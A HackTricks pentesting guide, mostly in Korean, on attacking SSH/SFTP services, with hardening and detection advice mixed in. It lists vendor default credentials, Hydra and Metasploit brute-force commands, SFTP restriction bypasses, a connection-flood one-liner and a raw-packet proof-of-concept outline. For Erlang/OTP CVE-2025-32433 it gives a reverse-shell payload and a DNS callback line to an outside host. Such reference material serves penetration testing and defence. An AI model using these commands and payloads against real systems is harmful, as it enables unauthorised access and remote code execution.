22 - Pentesting SSH/SFTP
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
**SSH (Secure Shell or Secure Socket Shell)**는 보안되지 않은 네트워크 상에서 컴퓨터에 안전한 연결을 제공하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.
기본 포트: 22
22/tcp open ssh syn-ack
SSH 서버:
- openSSH – OpenBSD SSH로, BSD, Linux 배포판 및 Windows(Windows 10 이후)에 포함되어 제공됨
- Dropbear – 메모리와 프로세서 리소스가 적은 환경을 위한 SSH 구현체로, OpenWrt에 포함되어 제공됨
- PuTTY – Windows용 SSH 구현체로, 클라이언트는 흔히 사용되지만 서버 사용은 드묾
- CopSSH – Windows용 OpenSSH 구현체
SSH 라이브러리 (서버 측 구현):
- libssh – 멀티플랫폼 C 라이브러리로 SSHv2 프로토콜을 구현하며 Python, Perl 및 R 바인딩을 제공; KDE에서 sftp에, GitHub에서 git SSH 인프라에 사용됨
- wolfSSH – ANSI C로 작성된 SSHv2 서버 라이브러리로 임베디드, RTOS 및 자원 제약 환경을 대상으로 함
- Apache MINA SSHD – Apache SSHD Java 라이브러리는 Apache MINA 기반임
- paramiko – Python용 SSHv2 프로토콜 라이브러리
열거
Banner Grabbing
nc -vn <IP> 22
자동화된 ssh-audit
ssh-audit는 ssh 서버 및 클라이언트 구성 감사를 위한 도구입니다.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
기능:
- SSH1 및 SSH2 프로토콜 서버 지원;
- SSH 클라이언트 구성 분석;
- 배너 수집, 장치 또는 소프트웨어 및 운영체제 인식, 압축 감지;
- 키 교환, 호스트 키, 암호화 및 메시지 인증 코드 알고리즘 수집;
- 알고리즘 정보 출력(도입 시점, 제거/비활성화 여부, 안전하지 않음/약함/레거시 등);
- 알고리즘 권장사항 출력(인식된 소프트웨어 버전에 따라 추가 또는 제거);
- 보안 정보 출력(관련 문제, 할당된 CVE 목록 등);
- 알고리즘 정보를 기반으로 SSH 버전 호환성 분석;
- OpenSSH, Dropbear SSH 및 libssh의 이력 정보;
- Linux 및 Windows에서 실행;
- 의존성 없음
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
서버의 공개 SSH 키
ssh-keyscan -t rsa <IP> -p <PORT>
약한 암호화 알고리즘
이 항목은 기본적으로 nmap에 의해 발견됩니다. 하지만 sslcan이나 sslyze를 사용할 수도 있습니다.
Nmap 스크립트
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
일부 OpenSSH 버전에서는 timing attack을 통해 사용자 계정을 열거할 수 있습니다. 이를 악용하려면 metasploit module을 사용할 수 있습니다:
msf> use scanner/ssh/ssh_enumusers
Brute force
일부 일반적인 ssh credentials는 here 와 here 및 아래에 있습니다.
Private Key Brute Force
사용할 수 있는 ssh private keys를 몇 개 알고 있다면… 시도해봅시다. nmap script를 사용할 수 있습니다:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
또는 MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
또는 ssh-keybrute.py (native python3, 경량이며 레거시 알고리즘이 활성화되어 있음)를 사용하세요: snowdroppe/ssh-keybrute.
Known badkeys can be found here:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Weak SSH keys / Debian predictable PRNG
일부 시스템에는 cryptographic material을 생성할 때 사용되는 random seed에 알려진 결함이 있습니다. 이로 인해 keyspace가 극적으로 줄어들어 bruteforced될 수 있습니다. 약한 PRNG의 영향을 받은 Debian 시스템에서 생성된 미리 만들어진 키 세트는 여기에서 확인할 수 있습니다: g0tmi1k/debian-ssh.
대상 머신에 대한 유효한 키를 찾기 위해 여기에서 찾아보세요.
Kerberos / GSSAPI SSO
대상 SSH 서버가 GSSAPI를 지원한다면(예: domain controller상의 Windows OpenSSH), 암호 대신 Kerberos TGT를 사용해 인증할 수 있습니다.
Workflow from a Linux attacker host:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
참고:
- 잘못된 이름(예: short host, alias, 또는
/etc/hosts의 잘못된 순서)으로 연결하면 SPN이 일치하지 않아 “Server not found in Kerberos database” 오류가 발생할 수 있습니다. crackmapexec ssh --kerberos는 Kerberos 인증에 ccache를 사용할 수도 있습니다.
기본 자격 증명
| Vendor | Usernames | Passwords |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
로컬 네트워크에 있으며 victim이 username과 password로 SSH 서버에 연결하려는 경우, 해당 자격 증명을 탈취하기 위해 MitM 공격을 수행할 수 있습니다:
공격 경로:
- Traffic Redirection: 공격자는 victim의 트래픽을 자신의 머신으로 유도하여 SSH 서버로의 연결 시도를 가로챕니다.
- Interception and Logging: 공격자 머신은 프록시 역할을 하며, 합법적인 SSH 서버인 것처럼 가장하여 사용자의 로그인 정보를 캡처합니다.
- Command Execution and Relay: 최종적으로 공격자 서버는 사용자의 자격 증명을 기록하고, 명령을 실제 SSH 서버로 전달하여 실행한 뒤 결과를 사용자에게 전달해 과정이 정상적으로 보이게 만듭니다.
SSH MITM은 위에 설명된 동작을 그대로 수행합니다.
실제 MitM을 수행하기 위해서는 ARP spoofing, DNS spoofing 등 Network Spoofing attacks에 설명된 기술들을 사용할 수 있습니다.
SSH-Snake
발견한 SSH private keys를 이용해 시스템을 횡단하고, 각 시스템의 private key를 사용해 새로운 호스트로 접근하고자 한다면 SSH-Snake를 사용하세요.
SSH-Snake는 다음 작업을 자동으로 재귀적으로 수행합니다:
- 현재 시스템에서 SSH private keys를 찾습니다,
- 현재 시스템에서 해당 private keys로 접근이 허용될 수 있는 호스트나 대상(user@host)을 찾습니다,
- 발견한 모든 private keys로 모든 대상에 대해 SSH 접속을 시도합니다,
- 대상에 성공적으로 접속하면, 연결된 시스템에서 1~4단계를 반복합니다.
완전히 self-replicating하고 self-propagating하며, 파일리스입니다.
구성 오류
Root 로그인
SSH 서버가 기본적으로 root 사용자 로그인을 허용하는 경우가 흔하며, 이는 심각한 보안 위험을 초래합니다. root 로그인 비활성화는 서버를 보호하기 위한 중요한 단계입니다. 관리자 권한으로의 무단 접근과 brute force 공격을 줄일 수 있습니다.
OpenSSH에서 Root 로그인을 비활성화하려면:
sudoedit /etc/ssh/sshd_config로 SSH 구성 파일을 편집합니다.#PermitRootLogin yes를 **PermitRootLogin no**로 변경합니다.sudo systemctl daemon-reload로 구성을 다시 로드합니다.- 변경 사항을 적용하려면
sudo systemctl restart sshd로 SSH 서버를 재시작합니다.
SFTP Brute Force
SFTP command execution
SFTP 설정에서 흔히 발생하는 실수로, 관리자는 사용자가 원격 셸 접근 없이 파일 교환만 하도록 의도하지만 우회가 가능한 경우가 있습니다. 사용자를 비대화형 셸(e.g., /usr/bin/nologin)로 설정하고 특정 디렉터리에 제한하더라도, 사용자는 로그인 직후 비대화형 셸이 적용되기 전에 즉시 /bin/bash 같은 명령 실행을 요청하여 이러한 제한을 우회할 수 있습니다. 이는 의도한 보안 조치를 무력화하여 무단 명령 실행을 허용합니다.
예시:
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
다음은 사용자 noraj를 위한 안전한 SFTP 구성 예시 (/etc/ssh/sshd_config – openSSH):
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
이 구성은 SFTP만 허용합니다: start command를 강제하여 shell access를 비활성화하고 TTY access를 비활성화하며, 또한 모든 종류의 port forwarding 또는 tunneling을 비활성화합니다.
SFTP Tunneling
SFTP 서버에 접근할 수 있다면, 예를 들어 일반적인 port forwarding을 사용해 트래픽을 이를 통해 tunnel할 수도 있습니다:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
The sftp have the command “symlink”. 따라서 어떤 폴더에 writable rights가 있으면 다른 폴더/파일의 symlinks를 생성할 수 있습니다. 보통 chroot 안에 trapped되어 있기 때문에 이것이 특별히 유용하지 않을 수 있지만, 생성한 symlink를 no-chroot service(예: 웹에서 그 symlink에 access할 수 있는 경우)에서 접근할 수 있다면 open the symlinked files through the web할 수 있습니다.
For example, to create a symlink from a new file “froot” to “/”:
sftp> symlink / froot
If you can access the file “froot” via web, you will be able to list the root (“/”) folder of the system.
인증 방법
보안이 높은 환경에서는 단순한 패스워드 기반 인증보다 key-based 또는 two-factor 인증만 허용하는 것이 일반적입니다. 하지만 종종 강력한 인증 방법을 활성화하면서 약한 방법을 비활성화하지 않는 경우가 많습니다. 흔한 사례로는 openSSH 설정에서 publickey를 활성화하고 기본 방법으로 설정하지만 password를 비활성화하지 않는 경우가 있습니다. 따라서 SSH 클라이언트의 verbose 모드를 사용하면 공격자가 더 약한 방법이 활성화되어 있음을 확인할 수 있습니다:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
예를 들어 authentication failure limit이 설정되어 password method에 도달할 기회를 얻지 못한다면, PreferredAuthentications 옵션을 사용해 이 method의 사용을 강제할 수 있습니다.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
SSH 서버 구성을 검토하여 예상된 방법만 허용되는지 확인해야 합니다. 클라이언트의 verbose mode를 사용하면 구성의 효과를 확인하는 데 도움이 될 수 있습니다.
구성 파일
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
최근 치명적 취약점 (2024)
CVE-2024-6387 – regreSSHion signal-handler race
OpenSSH 8.5p1–9.7p1은 sshd의 SIGALRM 핸들러 내부에서 async-safe 로깅 가드를 제거하여 CVE-2006-5051을 재도입했고, LoginGraceTime이 만료되자마자 인증되지 않은 공격자가 glibc 힙을 손상시킬 수 있게 되었습니다. Qualys는 이 버그를 32-bit Linux에서 root RCE로 무기화했으며, 충분한 시도로 64-bit 대상도 여전히 브루트포스 가능하다고 언급했습니다. 따라서 배너 수집 시 해당 버전을 노출하는 호스트를 우선적으로 검사하세요.
익스플로잇은 타이밍 기반입니다: 인증을 수행하지 않는 반쯤 열린 세션으로 데몬을 강하게 누르면서 privileged monitor가 취약한 시그널 경로를 반복적으로 호출하게 만들고, 그 동안 allocator 상태를 조작합니다.
운영자 팁:
ssh -V(원격 배너) 또는ssh -G <target> | grep ^userauths로 빌드를 지문화하고LoginGraceTime이 0이 아닌지 확인하세요.- 연구실 대상에 대해 짧게 유지되는 인증 요청 없는 세션을 대량으로 보내 압력 테스트를 수행하세요. 예:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
LoginGraceTime 0을 강제하는 호스트는 문제 코드 경로를 전혀 타지 않습니다—이 경우MaxStartups를 소모시켜 DoS를 유도하는 시나리오만 기대하세요.
CVE-2024-3094 – xz/liblzma 공급망 백도어
XZ Utils 5.6.0 및 5.6.1은 트로이 목마화된 릴리스 tarball을 배포했으며, 그 빌드 스크립트는 x86-64 Linux의 Debian/RPM 패키징 과정에서 숨겨진 오브젝트를 풀어냅니다. 페이로드는 glibc의 IFUNC resolver를 악용해 sshd에서 RSA_public_decrypt를 훅하고(특히 systemd 패치로 liblzma가 로드될 때) 공격자가 서명한 패킷을 수용해 pre-auth 코드 실행을 가능하게 합니다.
악성 로직이 해당 패키지화된 바이너리 내부에만 존재하므로, 공격적 검증은 실제로 피해자가 무엇을 설치했는지 검사해야 합니다: xz --version, rpm -qi xz/dpkg -l xz-utils를 확인하고 /usr/lib*/liblzma.so*의 해시를 비교하며 ldd /usr/sbin/sshd | grep -E "systemd|lzma"로 sshd가 해당 손상된 의존성을 불러오는지 확인하세요. 훅은 프로세스 경로가 /usr/sbin/sshd일 때만 활성화되므로, 실험실에서 백도어를 재현하려면 배포판 빌드 환경을 재현해야 하는 경우가 많습니다.
Authentication State-Machine Bypass (Pre-Auth RCE)
여러 SSH 서버 구현체에는 authentication finite-state machine의 논리적 결함이 있어 클라이언트가 인증이 완료되기 전에 connection-protocol 메시지를 보낼 수 있습니다. 서버가 올바른 상태에 있는지를 검증하지 않기 때문에, 해당 메시지는 마치 사용자가 완전히 인증된 것처럼 처리되어 unauthenticated code execution 또는 세션 생성으로 이어질 수 있습니다.
프로토콜 수준에서, message code ≥ 80 (0x50)을 가진 모든 SSH 메시지는 connection 레이어(RFC 4254)에 속하며 성공적인 인증 후에만 수락되어야 합니다(RFC 4252). 서버가 해당 메시지들 중 하나를 아직 SSH_AUTHENTICATION 상태인 동안 처리하면, 공격자는 즉시 채널을 생성하고 명령 실행, 포트 포워딩 등과 같은 동작을 요청할 수 있습니다.
일반적 익스플로잇 단계
- 타깃의 SSH 포트(일반적으로 22, 그러나 다른 서비스가 2022, 830, 2222 등에서 Erlang/OTP를 노출할 수 있음)에 TCP 연결을 수립합니다.
- 원시 SSH 패킷을 제작합니다:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (예:
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - 선택한 메시지 타입이 이해할 수 있는 페이로드
- 어떤 인증 단계도 완료하기 전에 그 패킷들을 전송합니다.
- 이제 pre-auth로 노출된 서버 API와 상호작용합니다(명령 실행, 포트 포워딩, 파일 시스템 접근 등).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
실제 환경에서는 타깃 구현에 따라 키 교환을 수행(또는 생략)해야 하지만, 인증은 전혀 수행되지 않습니다.
Erlang/OTP sshd (CVE-2025-32433)
- 영향 받는 버전: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- 근본 원인: Erlang 네이티브 SSH 데몬이
ssh_connection:handle_msg/2를 호출하기 전에 현재 상태를 검증하지 않습니다. 따라서 메시지 코드 80-255를 가진 모든 패킷이 세션이 여전히 userauth 상태인 동안 연결 핸들러에 도달합니다. - 영향: 인증되지 않은 remote code execution (데몬은 보통 임베디드/OT 장치에서 root로 실행됩니다).
공격자가 제어하는 채널에 바인드된 reverse shell을 생성하는 예제 payload:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection은 DNS를 통해 수행할 수 있습니다:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
탐지 및 완화:
- SSH 트래픽을 검사: 인증 이전에 관측된 메시지 코드 ≥ 80인 패킷은 모두 드롭.
- Erlang/OTP를 27.3.3 / 26.2.5.11 / 25.3.2.20 이상으로 업그레이드.
- 관리 포트(22/2022/830/2222)의 노출을 제한 – 특히 OT 장비에서.
영향을 받는 다른 구현체
- libssh 0.6 – 0.8 (서버 측) – CVE-2018-10933 – 클라이언트가 보낸 인증되지 않은
SSH_MSG_USERAUTH_SUCCESS를 수락하여, 사실상 반대 논리 결함이 발생함.
공통된 교훈은 RFC가 규정한 상태 전환에서의 어떤 이탈도 치명적일 수 있다는 것이다; SSH 데몬을 검토하거나 퍼징할 때는 상태 머신 강제 적용에 특히 주의하라.
참조
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
- Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server
- Snyk – The XZ backdoor (CVE-2024-3094)
HackTricks 자동 명령
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


